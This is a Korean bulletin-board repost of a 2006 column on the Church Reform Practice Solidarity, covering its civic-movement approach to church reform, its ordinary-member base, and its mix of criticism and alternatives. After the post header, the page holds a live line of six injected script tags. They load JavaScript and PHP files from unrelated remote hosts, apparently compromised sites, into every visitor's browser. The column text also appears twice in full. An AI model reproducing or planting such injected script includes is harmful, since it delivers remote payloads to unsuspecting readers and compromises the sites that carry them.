칼럼 [구교형 칼럼]작지만 큰 바람, 교회개혁운동[10/24 뉴조]
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작성자 by 관리자 / 작성일06-10-31 15:11 / 조회 3,936 / 댓글0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 작지만 큰 바람, 교회개혁운동
교회나 교계 문제 드러내고 시위…교회 깬다고 오해도 받아
2006년 10월 24일 (화) 19:28:27 구교형 ( ku6699 )
교회개혁실천연대(개혁연대·공동대표 박득훈 백종국 오세택)는 2002년 11월 창립돼 이제 만 4년이 채 안 되는 어린 단체다. 한국교회는 선교 120주년을 맞아 세계에서 그 유례를 찾기 힘들 정도의 급성장을 보여 왔으나 참된 복음의 가치에 충실하지 못하고 미성숙하여 비판을 받아왔다. 한국교회를 더는 보고만 있을 수 없어 몇몇 동지들이 눈물로 작은 운동을 시작했다. 아직도 개혁연대의 이름조차 들어보지 못한 성도들이 수두룩할 만큼 미약하다. 그러나 개혁연대의 운동은 특별한 의미가 있다. 교회개혁운동을 하는 것 이상으로 건강하고 새로운 운동 방식을 창출해 나가려고 노력한다.
교회 내부의 개혁에 초점 맞춰
첫째, 교회개혁을 기독운동의 정식 과제로 삼으려 한다는 점이다. 그동안 교회의 특수성 때문에 교회개혁은 단지 하나님께 기도하거나 인간적인 호소의 영역으로만 여겨오던 것이 사실이다. 물론 그러한 것들이 밑바탕이 되어야하겠지만 이미 잘못된 신학과 신앙관으로 물들어 부패한 한국교회의 다양한 현실을 개혁하기 위해서 때로는 분석하고, 비판하고, 공개하고, 대안을 제시하는 등 다양한 시민운동적 성격을 가져야 한다.
아직도 하나님의 뜻을 전하는, 일방적 대리자로 여기고 있는 목회자들이 교회 안에서 의도적이고, 계획적으로 부정과 부패를 행할 때 그저 도덕적인 호소만으로 스스로 바로 잡기를 기대한다는 것은, 자기 자신에게 최면을 거는 일일 것이다. 그래서 우리는 명백한 죄악과 불의를 저지르면서도 교회의 특수성만 내세워 문제를 의도적으로 가리려는 교회나 교계 인사들에게 경고하고 때로는 시위를 하기도 한다.
적지만 의식 있는 사람 중심 운동
둘째, 개혁연대는 내로라하는 소수 명망가들의 이름과 유능함에 기대거나 몇몇 큰손들에 재정을 의존하는 쉬운(?) 길을 버리고, 명성은 없어도 한국교회에 대한 애정과 개혁 의지가 분명한 평범한 성도들과 목회자들의 참여로 일어났고 달려왔다. 우선 기본 구조 자체가 커다란 의지가 없이 명성만을 빌려주는 상위 기구가 없다. 운동을 실질적으로 책임지는 40명의 집행위원단과 그 집행위원들 안에서 선임된 3명의 공동대표, 그리고 실무부서인 사무국으로만 이루어졌다. 그리고 가까이서, 멀리서 물심양면으로 후원하는 1200명의 회원과 137명의 회비 회원, 20여 후원 기관이 든든한 버팀목이 되어주고 있다.
특히 개혁연대 회원 중에는 회비을 내는 것만이 아니라 필요한 순간, 현장에서 몸으로 동참하는 명실상부한 개혁의 동지들이 많다. 얼마 전 끝난 교단 총회 공동대책위원회 활동도 일반 교인의 실질적인 참관 활동이 없었다면 감히 엄두도 내지 못하는 운동이었다. 작년 40여 명의 성도들이 전국 각처(천안·대전·광주·대구 등)에서 벌어진 교단 총회 일정을 나눠 맡아 참관하고 그 내용을 기록하고 기고하는 등의 활약을 하였고, 올해도 그런 자원 활동가들의 적극적인 참관 활동으로 큰 어려움 없이 끝났다. 여러 분들이 다급하고 어려운 소식을 들을 때마다 마다하지 않고 달려와 함께 현장을 지켜주곤 한다. 직업 운동가들이 항상 고마워하는 것이 바로 눈에 잘 드러나지 않는 평범한 성도들의 헌신이다.
뭐니 뭐니 해도 ‘교회개혁의 동역자들’ 하면 결코 빼놓을 수 없는 분들이 있다. 바로 전국 각처에서 각기 다른 위치에 있으나 교회개혁의 대의에 함께 하고 있는 ‘교회개혁전국네트워크’ 동지들이다. 현재 서울·부천·수원 등 수도권과 대전·전주·광주 등 중부권, 대구·울산·부산·진주 등 영남권에서 수많은 개혁의 동지들이 뜻을 함께 하고 있다. 작년 전주와 진주에서의 두 번에 걸친 전국 모임에 이어, 올해는 지난 8월 영남권 모임(부산 제4영도교회), 9월에는 수도권 모임(산본남서울교회)을 진행했고, 10월 27일과 28일에는 전주 열린문교회에서 중부권 모임을 실시하려 한다. 아무도 알아주지 않지만, 오히려 ‘교회를 깨는 사람들’이라는 온갖 오해를 감수해야 하지만 이들은 모이고 있다. 하나님께 한국교회의 변화를 위해 기도하는 동역자들이 전국에 그토록 많이 있다는 사실에 직업 운동가들은 새삼 감격하고 고맙기만 하다. 이 개혁의 현장들에 여러분들의 참여도 기대한다.
비판과 대안 제시 운동을 함께 제시
셋째, 개혁연대는 결코 모든 교회개혁운동을 전담한다고 생각하지도 않고, 완전함을 주장하지도 않는다. 그것은 겸손하기 때문이 아니라 사실이기 때문이다. 초창기부터 우리가 자주 들어왔던 비판 중의 하나가 너무 부정하는(네거티브) 운동에만 집중한다는 것이었다. 사실 개혁연대의 창립 당시는 그런 부분이 많았다. 그게 전부이기 때문이 아니라 새로운 건물을 세우기 위해서는 위험하고 낡은 건물은 반드시 허물고 청산해야 했기 때문이다. 그러나 동시에 우리는 대안을 제시하는 (포지티브) 운동을 함께했다. 개 교회 원칙 있는 운영 치침이 될 정관갖기운동을 비롯하여, 교단 총회 공동대책위원회 활동, 지금도 진행하고 있는 올바른 교회 재정 확립 활동 등 한국교회에 대안이 될 만한 정책을 연구하고 제시하는 활동을 계속하고 있다.
앞서도 말했듯이 전국에 흩어져 있는 많은 개혁의 동역자들과 함께하고 있지만 기독교윤리실천운동, 바른교회아카데미, 교회개혁지원센터 및 각 교단 목회자 갱신 그룹들과 구체적인 분야는 달라도 연대, 협력하고 있다. 무엇보다 우리가 더 잘할 수 있는 활동과 다른 단체들이 더 잘할 수 있는 역할을 잘 분별하여 서로 잘해나가기를 기대하고 있다. 앞으로도 우리는 성경적, 신학적 교회 개혁의 기반에 좀 더 깊이 연구하고 보급하는 더 좋은 활동들이 폭넓게 이어지기를 소망하고 있다.
우리는 사무처장 장로님이 항상 말씀하듯이 교회개혁실천연대가 하루 속히 필요 없어져서 기쁘게 문 닫는 날이 오기를 기도하고 있다. 우리가 결코 완성할 수는 없는 과업이지만 시작할 수는 있는 일이기에 오늘도 교회개혁운동을 한다. 우리는 한국교회와 한국 사회에 애정 어린 격려와 매서운 질책을 의식하고 있기에 섣부르게 움직일 수 없다. 교회개혁운동에 더 많은 분들의 참여를 기대한다.
구교형 / 교회개혁실천연대 사무국장
교회나 교계 문제 드러내고 시위…교회 깬다고 오해도 받아
2006년 10월 24일 (화) 19:28:27 구교형 ( ku6699 )
교회개혁실천연대(개혁연대·공동대표 박득훈 백종국 오세택)는 2002년 11월 창립돼 이제 만 4년이 채 안 되는 어린 단체다. 한국교회는 선교 120주년을 맞아 세계에서 그 유례를 찾기 힘들 정도의 급성장을 보여 왔으나 참된 복음의 가치에 충실하지 못하고 미성숙하여 비판을 받아왔다. 한국교회를 더는 보고만 있을 수 없어 몇몇 동지들이 눈물로 작은 운동을 시작했다. 아직도 개혁연대의 이름조차 들어보지 못한 성도들이 수두룩할 만큼 미약하다. 그러나 개혁연대의 운동은 특별한 의미가 있다. 교회개혁운동을 하는 것 이상으로 건강하고 새로운 운동 방식을 창출해 나가려고 노력한다.
교회 내부의 개혁에 초점 맞춰
첫째, 교회개혁을 기독운동의 정식 과제로 삼으려 한다는 점이다. 그동안 교회의 특수성 때문에 교회개혁은 단지 하나님께 기도하거나 인간적인 호소의 영역으로만 여겨오던 것이 사실이다. 물론 그러한 것들이 밑바탕이 되어야하겠지만 이미 잘못된 신학과 신앙관으로 물들어 부패한 한국교회의 다양한 현실을 개혁하기 위해서 때로는 분석하고, 비판하고, 공개하고, 대안을 제시하는 등 다양한 시민운동적 성격을 가져야 한다.
아직도 하나님의 뜻을 전하는, 일방적 대리자로 여기고 있는 목회자들이 교회 안에서 의도적이고, 계획적으로 부정과 부패를 행할 때 그저 도덕적인 호소만으로 스스로 바로 잡기를 기대한다는 것은, 자기 자신에게 최면을 거는 일일 것이다. 그래서 우리는 명백한 죄악과 불의를 저지르면서도 교회의 특수성만 내세워 문제를 의도적으로 가리려는 교회나 교계 인사들에게 경고하고 때로는 시위를 하기도 한다.
적지만 의식 있는 사람 중심 운동
둘째, 개혁연대는 내로라하는 소수 명망가들의 이름과 유능함에 기대거나 몇몇 큰손들에 재정을 의존하는 쉬운(?) 길을 버리고, 명성은 없어도 한국교회에 대한 애정과 개혁 의지가 분명한 평범한 성도들과 목회자들의 참여로 일어났고 달려왔다. 우선 기본 구조 자체가 커다란 의지가 없이 명성만을 빌려주는 상위 기구가 없다. 운동을 실질적으로 책임지는 40명의 집행위원단과 그 집행위원들 안에서 선임된 3명의 공동대표, 그리고 실무부서인 사무국으로만 이루어졌다. 그리고 가까이서, 멀리서 물심양면으로 후원하는 1200명의 회원과 137명의 회비 회원, 20여 후원 기관이 든든한 버팀목이 되어주고 있다.
특히 개혁연대 회원 중에는 회비을 내는 것만이 아니라 필요한 순간, 현장에서 몸으로 동참하는 명실상부한 개혁의 동지들이 많다. 얼마 전 끝난 교단 총회 공동대책위원회 활동도 일반 교인의 실질적인 참관 활동이 없었다면 감히 엄두도 내지 못하는 운동이었다. 작년 40여 명의 성도들이 전국 각처(천안·대전·광주·대구 등)에서 벌어진 교단 총회 일정을 나눠 맡아 참관하고 그 내용을 기록하고 기고하는 등의 활약을 하였고, 올해도 그런 자원 활동가들의 적극적인 참관 활동으로 큰 어려움 없이 끝났다. 여러 분들이 다급하고 어려운 소식을 들을 때마다 마다하지 않고 달려와 함께 현장을 지켜주곤 한다. 직업 운동가들이 항상 고마워하는 것이 바로 눈에 잘 드러나지 않는 평범한 성도들의 헌신이다.
뭐니 뭐니 해도 ‘교회개혁의 동역자들’ 하면 결코 빼놓을 수 없는 분들이 있다. 바로 전국 각처에서 각기 다른 위치에 있으나 교회개혁의 대의에 함께 하고 있는 ‘교회개혁전국네트워크’ 동지들이다. 현재 서울·부천·수원 등 수도권과 대전·전주·광주 등 중부권, 대구·울산·부산·진주 등 영남권에서 수많은 개혁의 동지들이 뜻을 함께 하고 있다. 작년 전주와 진주에서의 두 번에 걸친 전국 모임에 이어, 올해는 지난 8월 영남권 모임(부산 제4영도교회), 9월에는 수도권 모임(산본남서울교회)을 진행했고, 10월 27일과 28일에는 전주 열린문교회에서 중부권 모임을 실시하려 한다. 아무도 알아주지 않지만, 오히려 ‘교회를 깨는 사람들’이라는 온갖 오해를 감수해야 하지만 이들은 모이고 있다. 하나님께 한국교회의 변화를 위해 기도하는 동역자들이 전국에 그토록 많이 있다는 사실에 직업 운동가들은 새삼 감격하고 고맙기만 하다. 이 개혁의 현장들에 여러분들의 참여도 기대한다.
비판과 대안 제시 운동을 함께 제시
셋째, 개혁연대는 결코 모든 교회개혁운동을 전담한다고 생각하지도 않고, 완전함을 주장하지도 않는다. 그것은 겸손하기 때문이 아니라 사실이기 때문이다. 초창기부터 우리가 자주 들어왔던 비판 중의 하나가 너무 부정하는(네거티브) 운동에만 집중한다는 것이었다. 사실 개혁연대의 창립 당시는 그런 부분이 많았다. 그게 전부이기 때문이 아니라 새로운 건물을 세우기 위해서는 위험하고 낡은 건물은 반드시 허물고 청산해야 했기 때문이다. 그러나 동시에 우리는 대안을 제시하는 (포지티브) 운동을 함께했다. 개 교회 원칙 있는 운영 치침이 될 정관갖기운동을 비롯하여, 교단 총회 공동대책위원회 활동, 지금도 진행하고 있는 올바른 교회 재정 확립 활동 등 한국교회에 대안이 될 만한 정책을 연구하고 제시하는 활동을 계속하고 있다.
앞서도 말했듯이 전국에 흩어져 있는 많은 개혁의 동역자들과 함께하고 있지만 기독교윤리실천운동, 바른교회아카데미, 교회개혁지원센터 및 각 교단 목회자 갱신 그룹들과 구체적인 분야는 달라도 연대, 협력하고 있다. 무엇보다 우리가 더 잘할 수 있는 활동과 다른 단체들이 더 잘할 수 있는 역할을 잘 분별하여 서로 잘해나가기를 기대하고 있다. 앞으로도 우리는 성경적, 신학적 교회 개혁의 기반에 좀 더 깊이 연구하고 보급하는 더 좋은 활동들이 폭넓게 이어지기를 소망하고 있다.
우리는 사무처장 장로님이 항상 말씀하듯이 교회개혁실천연대가 하루 속히 필요 없어져서 기쁘게 문 닫는 날이 오기를 기도하고 있다. 우리가 결코 완성할 수는 없는 과업이지만 시작할 수는 있는 일이기에 오늘도 교회개혁운동을 한다. 우리는 한국교회와 한국 사회에 애정 어린 격려와 매서운 질책을 의식하고 있기에 섣부르게 움직일 수 없다. 교회개혁운동에 더 많은 분들의 참여를 기대한다.
구교형 / 교회개혁실천연대 사무국장